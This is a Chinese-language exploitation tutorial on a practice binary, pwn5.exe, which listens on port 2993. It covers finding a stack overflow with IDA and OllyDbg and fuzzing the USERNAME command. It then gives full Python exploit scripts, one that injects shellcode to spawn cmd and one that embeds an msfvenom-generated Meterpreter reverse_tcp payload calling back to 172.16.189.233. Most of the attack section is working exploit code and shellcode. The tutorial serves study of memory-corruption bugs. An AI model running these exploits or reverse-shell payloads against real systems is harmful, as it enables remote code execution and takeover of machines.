0%

简单栈溢出

栈溢出基本上是学习逆向的第一步,也是最简单的漏洞之一。现在的操作系统上已经很难单纯的利用栈溢出漏洞。利用pwn5.exe这个程序的栈溢出漏洞练习一下栈溢出漏洞的手动寻找与利用。

源程序下载

  • 栈溢出简介
  • 寻找溢出漏洞
  • 漏洞利用
  • 深度利用

栈溢出简介

栈溢出是这样的一种漏洞。当程序使用了一些危险函数或者由于各种各样的原因,对用户输入的检查不严格,导致用户输入的数据本应在栈上作为数据进行存储,却被当作代码运行的一种漏洞。

本文用jmp esp利用上述软件的漏洞。

寻找溢出漏洞

先看一下整个程序的大概情况,明确这个程序的功能。

用IDA Pro打开这个程序,调用F5插件看一下main函数伪代码,很明显是一个Socket,绑定2993端口。

sub_4010B0这个函数很像是用户自己编写的函数,应该是用户自己编写的代码。双击这个函数进去看一下,发现了一个判断用户输入来进行响应的处理,在USERNAME这一个条件里又看到了一个IDA不认识名字的函数,进去看一下。

看到一个for循环,乍一看不知道是干什么,但是,一点一点仔细看下来很明显是字符串拷贝,修改变量名,这样看起来就清晰多了。

这个字符串拷贝很明显没有加什么保护措施,这样的代码一定是有问题的。

再看一下程序给这个字符串开辟的长度是多少。

我们先尝试用多于512个字节的数据覆盖掉这个函数的的返回地址。看是否能成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
from zio import *
host = "172.16.189.218"
port = 2993
tul = zio((host,port))
tul.read_until('*************** Welcome to take the challenge!*****************\n')
ch = 'a'
ss = ch
try:
while True:
ss = ss + ch
tul.write('USERNAME' + ss + '\x0d\x0a')
except:
print len(ss)

程序崩溃了,再用OD看一下。

很明显可以看到esp所在的栈地址被aaaa覆盖。

漏洞利用

接下来构造shellcode。

看到栈空间的布局之后,计算shellcode在栈中的位置,注意的是栈的对齐,即jmp esp时esp的位置一定是4的整数倍。

这次采用二次跳转的方式执行shellcode。


为什么用sub一个负数来调整栈位置呢?因为如果使用正数,字符串中就会出现\x00,字符串拷贝函数就会从这里截断。

这里就是我们的shellcode了。

弹出了一个cmd,下面是shellcode的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
from zio import *
host = "172.16.189.218"
port = 2993
io = zio((host,port))
io.read_until('*************** Welcome to take the challenge! *****************\n')
shellcode =("\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
"\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
"\x65\x20\x2f\x63\x20\x63\x6d\x64")
print len(shellcode)
# print shellcode.encode('hex')
ret = 0x0012f3d4
io.write('USERNAME ' + 'a'*3 + '\x81\xEC\xC8\xFE\xFF\xFF\xFF\xE4' + shellcode + '\x90'*(511-11-len(shellcode)) + l32(ret) + '\x0d\x0a')

深度利用

用msfvenom生成一段shellcode。


root@bogon:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.189.233 lport=8081 -f python -b '\x00' -n 12

新的攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from zio import *

host = "172.16.189.218"

port = 2993

io = zio((host,port))

io.read_until('*************** Welcome to take the challenge! *****************\n')
buf = ""
buf += "\x3f\x9f\x49\xf8\x3f\xd6\xfd\x41\x92\xfc\x41\x41\xdb"
buf += "\xd3\xd9\x74\x24\xf4\xb8\xc1\xf9\xbb\x2a\x5a\x2b\xc9"
buf += "\xb1\x54\x31\x42\x18\x03\x42\x18\x83\xea\x3d\x1b\x4e"
buf += "\xd6\x55\x5e\xb1\x27\xa5\x3f\x3b\xc2\x94\x7f\x5f\x86"
buf += "\x86\x4f\x2b\xca\x2a\x3b\x79\xff\xb9\x49\x56\xf0\x0a"
buf += "\xe7\x80\x3f\x8b\x54\xf0\x5e\x0f\xa7\x25\x81\x2e\x68"
buf += "\x38\xc0\x77\x95\xb1\x90\x20\xd1\x64\x05\x45\xaf\xb4"
buf += "\xae\x15\x21\xbd\x53\xed\x40\xec\xc5\x66\x1b\x2e\xe7"
buf += "\xab\x17\x67\xff\xa8\x12\x31\x74\x1a\xe8\xc0\x5c\x53"
buf += "\x11\x6e\xa1\x5c\xe0\x6e\xe5\x5a\x1b\x05\x1f\x99\xa6"
buf += "\x1e\xe4\xe0\x7c\xaa\xff\x42\xf6\x0c\x24\x73\xdb\xcb"
buf += "\xaf\x7f\x90\x98\xe8\x63\x27\x4c\x83\x9f\xac\x73\x44"
buf += "\x16\xf6\x57\x40\x73\xac\xf6\xd1\xd9\x03\x06\x01\x82"
buf += "\xfc\xa2\x49\x2e\xe8\xde\x13\x26\xdd\xd2\xab\xb6\x49"
buf += "\x64\xdf\x84\xd6\xde\x77\xa4\x9f\xf8\x80\xcb\xb5\xbd"
buf += "\x1f\x32\x36\xbe\x36\xf0\x62\xee\x20\xd1\x0a\x65\xb1"
buf += "\xde\xde\x10\xb4\x48\x4d\xf4\x0b\x61\xe5\xf7\x73\x6e"
buf += "\x67\x7e\x95\xc0\xd7\xd1\x0a\xa0\x87\x91\xfa\x48\xc2"
buf += "\x1d\x24\x68\xed\xf7\x4d\x02\x02\xae\x26\xba\xbb\xeb"
buf += "\xbd\x5b\x43\x26\xb8\x5b\xcf\xc3\x3c\x15\x38\xa1\x2e"
buf += "\x41\x59\x49\xaf\x91\xf0\x49\xc5\x95\x52\x1d\x71\x97"
buf += "\x83\x69\xde\x68\xe6\xe9\x19\x96\x77\xd8\x52\xa0\xed"
buf += "\x64\x0d\xcc\xe1\x64\xcd\x9a\x6b\x65\xa5\x7a\xc8\x36"
buf += "\xd0\x85\xc5\x2a\x49\x13\xe6\x1a\x3d\xb4\x8e\xa0\x18"
buf += "\xf2\x10\x5a\x4f\x81\x57\xa4\x0d\xa7\xff\xcd\xed\xe7"
buf += "\xff\x0d\x84\xe7\xaf\x65\x53\xc8\x40\x46\x9c\xc3\x08"
buf += "\xce\x17\x85\xfb\x6f\x27\x8c\x5a\x2e\x28\x22\x47\x27"
buf += "\xa7\xc5\x78\x48\x49\xfa\xae\x71\x3f\x3b\x73\xc6\x30"
buf += "\x76\xd6\x6f\xdb\x78\x44\x6f\xce"
shellcode = buf
print len(shellcode)
# print shellcode.encode('hex')
ret = 0x0012f3d4
io.write('USERNAME ' + 'a'*3 + '\x81\xEC\xC8\xFE\xFF\xFF\xFF\xE4' + shellcode + '\x90'*(511-11-len(shellcode)) + l32(ret) + '\x0d\x0a')

成功获得Meterpreter的shell,接下来就是meterpreter的各种用法了。